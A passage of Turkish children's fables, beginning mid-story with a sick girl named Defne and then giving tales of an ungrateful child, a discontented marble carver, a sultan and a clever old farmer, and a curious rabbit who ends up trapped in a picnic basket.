Annesi hemen Defne’nin ateşini ölçmüş. Ateşi 39.5 imiş. Hemen arabaya binip doktora gitmişler. Defne normalde doktora gitmeyi hiç sevmezmiş. Fakat şimdi suçlu kendisi olduğu için hiç sesini çıkarmamış.
Doktor Defne’ye iyileşmeden dışarı çıkıp kendine dikkat etmediği için çok kızmış ve ateşinin düşmesi için iğne yapmak zorunda kalmış. Defne ise annesinin sözünü dinlemediği için çok ama çok pişmanmış. Hem annesini üzmüş, hem de tam iyileşecekken tekrar hastalığın başına dönmüş. Annesini dinleseymiş ve onun dediği zamanda içeri girseymiş bunların hiçbiri olmayacakmış. Bir daha ne olura olsun annesinin sözünden çıkmamaya ve verdiği sözü tutmaya söz vermiş kendi kendine.
Gökten üç elma düşmüş, üçü de verdiği sözleri tutan çocukların olmuş…
Mutsuz Çocuk Masalı
MUTSUZ ÇOCUK MASALI
Sevgili çocuklar, sıradaki masalımızın ismi: Mutsuz Çocuk.
Mutsuz bir çocuk vardı. Adı üstünde çok mutsuzdu. Niye mi? Çünkü hiçbir şey onu mutlu edemiyordu. Ailesi doğum gününde ona hediyeler aldı. Çeşit çeşit oyuncaklar, rengârenk giysiler. Ama mutsuz çocuk hiç sevinmedi. Onlara bir teşekkür bile etmedi.
Annesi sevdiği yemeklerden, pastalardan yaptı. Babası kumbarasına atması için para verdi. Mutsuz çocuk yine mutlu olmadı.
Bir gün okula giderken ağlayan bir çocuk gördü. Yanına yaklaşıp sordu:
– Neden ağlıyorsun?
Çocuğun üstü başı yırtık içindeydi. Ağlayarak cevap verdi:
– Karnım çok aç. Hiç kimsem yok. Ailem de yok.
Mutsuz çocuk ona çok acıdı. “Gel benimle” diyerek evine götürdü.
Mutsuz çocuğun ailesi ağlayan çocuğa çok iyi davrandı.
Anne onu yıkayıp saçlarını taradı. Mutsuz çocuğun giysilerinden giydirdi. Hazırladığı yiyeceklerden yedirdi. Baba para verdi.
Mutsuz çocuk da oyuncaklarıyla oynamasına izin verdi.
Zavallı çocuk o kadar çok sevindi ki üzüntüsünü unuttu. Ağlamayı kesti. Mutsuz çocuğa “Ne kadar şanslı bir çocuksun! Güzel bir evin, iyi bir ailen, giysilerin, oyuncakların, yiyeceğin var. Her halde sen çok mutlu bir çocuk olmalısın” dedi.
Mutsuz çocuk onun bu sözlerinden nelere sahip olduğunu ve nankörlük ettiğini anladı; çok utandı.
O günden sonra hiç mutsuz olmadı.
MERMER YONTUCUSU MASALI
Bir zamanlar dağda, kızgın güneşin altında, mermer taşlarını yontmaktan bezmiş bir mermer yontucusu varmış. Günlerden bir gün;
-“Bu hayattan bıktım artık. Yontmak! Devamlı mermer yontmak… Öldüm artık! Üstelik bir de bu güneş, hep bu yakıcı güneş! AH! Onun yerinde olmayı ne kadar çok isterdim, orada yükseklerde her şeye hâkim olacaktım, ışınlarımla etrafı aydınlatacaktım.” diye söylenmeye başlamış.
Bir mucize eseri olarak dileği kabul olmuş ve mermer yontucu o an güneş olmuş. Dileği kabul edildiği için çok mutluymuş. Fakat tam ışınlarını etrafa yaymaya hazırlandığı sırada ışınlarının bulutlar tarafından engellendiğini fark etmiş. Mermer yontucu çok şaşırmış;
-“Basit bulutlar benim ışınlarımı kesecek kadar kuvvetli olduklarına göre benim güneş olmam neye yarar!” diye isyan etmiş. Ardından devam etmiş;
-“Mademki bulutlar güneşten daha kudretli bulut olmayı tercih ederim.”
Bunu demesi ile mermer yontucusu hemen bulut olmuş. Dünyanın üzerinde uçuşmaya başlamış, oradan oraya koşuşmuş, yağmur yağdırmış fakat birdenbire rüzgâr çıkmış ve bulutları dağıtmış! Mermer yontucu çok şaşırmış;
-“Ah, rüzgâr geldi ve beni dağıttı, demek ki en kuvvetlisi o öyleyse ben rüzgâr olmak istiyorum.”diye karar vermiş.
Bunun üzerine dünyanın üzerinde esmeye, fırtınalar estirmeye ve tayfunlar meydana getirmeye başlamış. Fakat birdenbire önünde kocaman bir duvarın ona mani olduğunu görmüş. Çok yüksek ve çok sağlam bir duvarmış bu. Aslında bu duvar değil bir dağdır.
-“Basit bir dağ beni durdurmaya yettiğine göre benim rüzgâr olmam neye yarar.” Demiş mermer yontucu.
Ve bunu demesi ile mermer yontucu artık dağ olmuş. O anda bir şeyin O’na durmadan vurduğunu hissetmiş. Kendinden daha güçlü olan şeyin, O’nu içinden oyan şeyin küçük bir mermer yontucusu olduğunu görmüş.
PADİŞAH İLE AKILLI KÖYLÜ OKUMA MASALI
Osmanlı padişahlarından biri günün birinde tebdili kıyafet köyleri dolaşıyormuş. Köyün birinde tarlasında fidan dikmeye çalışan çok yaşlı bir köylüye rastlamış. Adam, bahçesine meyve fidanları dikiyormuş. Padişah yaşlı köylüye takılmak istemiş:
– ‘Baba, bu fidanlar ne zaman büyüyüp de meyve verecek? Bu fidanlar meyve verinceye kadar sen toprak olursun. Bu meyvelerden yemek sana nasip olacak mı dersin?’ Demiş.
Köylü:
– ‘Hiç sanmıyorum’ diyerek cevap vermiş.
Padişah sözlerine devam etmiş:
– ‘O halde neden yoruyorsun kendini?’
– Beyim biz atalarımızın diktiği ağaçların meyvelerini yemiyor muyuz? Torunlarımız da bizim diktiklerimizin meyvelerini yesinler.
Bu cevap Padişahın pek hoşuna gitmiş. Cebinden çıkarıp köylüye bir kese altın vermiş.
Köylü:
-‘ Bakın padişahım, bizim fidanlar şimdiden meyve vermeye başladılar bile’ demiş.
Padişah bu cevabı da pek beğenmiş ve köylüye bir kese altın daha verilmesini emretmiş. Köylü bu kez:
– ‘Sultanım, her ağaç yılda bir kez meyve verir. Ama bakın benimkiler ikincisini de verdi’ diye yanıt verince padişah gülümseyerek yanındakilere seslenmiş:
– ‘Aman efendiler, hemen buradan gidelim, yoksa bu adam bizde altın filan bırakmayacak!’
Meraklı Tavşan Masalı
Zıpzıp, küçücük, şeker gibi bir tavşancıktı. Fakat kötü bir huyu vardı. Çok meraklıydı. O küçücük, simsiyah burnunu, her şeye sokardı. Gün geçmezdi ki, birisi ona bağırmasın.
Günlerden bir gün Zıpzıp çalılıklar arasında dolaşırken Bayan Sülün ona doğru bağırdı;
-‘Çekil oradan Zıpzıp! Yumurtalarımdan birini kırarsan, seni döverim. Onlardan yavrularım meydana gelecek’ dedi.
Zıpzıp, oradan hızla kaçtı. Geniş bir meydanlığa geldi. Burası, onun için keşfedilmeye uygun bir yerdi.
Oya ile Kaya yeşillikler içinde pinpon oynuyorken anne ve babası da yeşilliklere uzanmış, dinleniyordu. Zıpzıp, kimsenin onu görmediğinden emin olduğunda içinde neler olduğunu merak ettiği kocaman piknik sepetine yanaştı.
Bu sepette ne vardı acaba? Ah, bir açabilse…
O sırada yandaki ağaçtan, Zıpzıp’ ı izleyen Sincap:
-‘Sakın sepete dokunma!’ diye seslendi.
Zıpzıp, kendisini uyaran sincabı dinlemedi. Yavaşça sepetin içerisine bakmaya başladı. Ancak sepetin içine bakayım derken, birden dengesini yitirmesin mi! Zıpzıp güm diye sepetin dibini boyladı. Arkasından kapak da kapandı. Meraklı Zıpzıp, sepetin içinde kalmıştı.
Arkadaşı Sincap, çaresizce Zıpzıp’ın başına gelenleri izledi. Zıpzıp’ın sepetin içerisinde kalmasına çok üzülen Sincap, ‘bir şeyler yapmalıyım’ diye geçirdi içinden.
O sırada piknik yapan Oya ve Kaya’ya ailesi bağırmaya başladı;
-‘Haydi, çocuklar… Artık eve dönme zamanı geldi. Eşyaları toplayalım arabanın bagajına yerleştirelim’ dedi.
Tüm aile hep birlikte eşyalarını topladılar. Babası da, sepeti bagaja yerleştirdi. Sincap, zavallı arkadaşı Zıpzıp’ın çok uzaklara götürüleceğini anlayınca, çok üzüldü. Koşa koşa yardım aramaya gitti.
Sincap, yardım ararken ağaçtaki Baykuş’un bulunduğu yere kadar geldi. Çok bilgili Baykuş’a, gördüklerini heyecanla anlattı Sincap. Zavallı Zıpzıp’ı kurtarmasını da rica etti. Baykuş:
-‘Zıpzıp meraklı bir tavşan olduğu için kötü durumlarla karşılaşıyor. Fakat haklısın, onu kurtarmalıyız. Ben şimdi Zıpzıp’ı aramaya gidiyorum. Sen annesine haber ver, beni beklesinler’ dedi.
Baykuş havalandığı gibi gözden uzaklaştı. Ormanın üzerinde uçmaya başladı. Zıpzıp’ın içinde bulunduğu kırmızı arabayı aramaya koyuldu. Çok geçmeden, kırmızı arabayı gördü. Baykuş arabayı takip ederek ailenin gittiği evin yerini iyice öğrendikten sonra, hızla ormana yollandı.
Evlerine geri dönen Oya ve Kaya sepeti açınca, büyük bir hayret içinde kalakaldı! Sepetten, minik bir tavşancık çıkmıştı. Tavşancığı eline alan Kaya:
-‘Ah! Sen ne kadar tatlı şeysin öyle! Babacığım, bizimle kalabilir mi?’ dedi.
Pek çok şaşırmış olan babası:
-‘Tabii kalabilir. Fakat ona bahçede bir kafes yapmak gerek.’
Kaya, babasının bu sözleri üzerine büyük bir sevinç içinde, bahçede kafeslerden birini onardı. Kapısına kafes teli çaktı. Kısa sürede tamir olan kafesin içerisine şaşkın şaşkın olanları izleyen Zıpzıp’ı yerleştiren Kaya çok ama çok mutluydu. Kaya;
-‘Korkma minik tavşan. Sana kötülük yapmayacağız’ dedi.
Zıpzıp, başına gelenler karşısında çok üzgündü. Kafesin içinden nasıl kurtulacağını düşünmeye başladı. O sırada Sincap Zıpzıp‘ın anne ve babasına ulaşarak tüm gördüklerini anlattı.
Gece bastırınca Sincap, Zıpzıp’ın ailesi ve baykuş hep birlikte yola koyuldular. Baykuş, alçaklardan uçarak, onlara yolu gösterdi. Bahçeye ulaşan ekip, kafesin içerisindeki Zıpzıp’ı buldu. Zıpzıp ağlamalı bir sesle:
-‘Beni bağışla anneciğim! Bir daha her şeyle ilgilenmeyeceğim. Kardeşlerimden ayrılmayacağım’ dedi.
Zıpzıp kafesten kurtulup yeniden ormanlara kavuşunca söz verdiği gibi bir daha ne ailesinin ne de kardeşinin yanından hiç ama hiç ayrılmamış. Bu masal da burada bitmiş.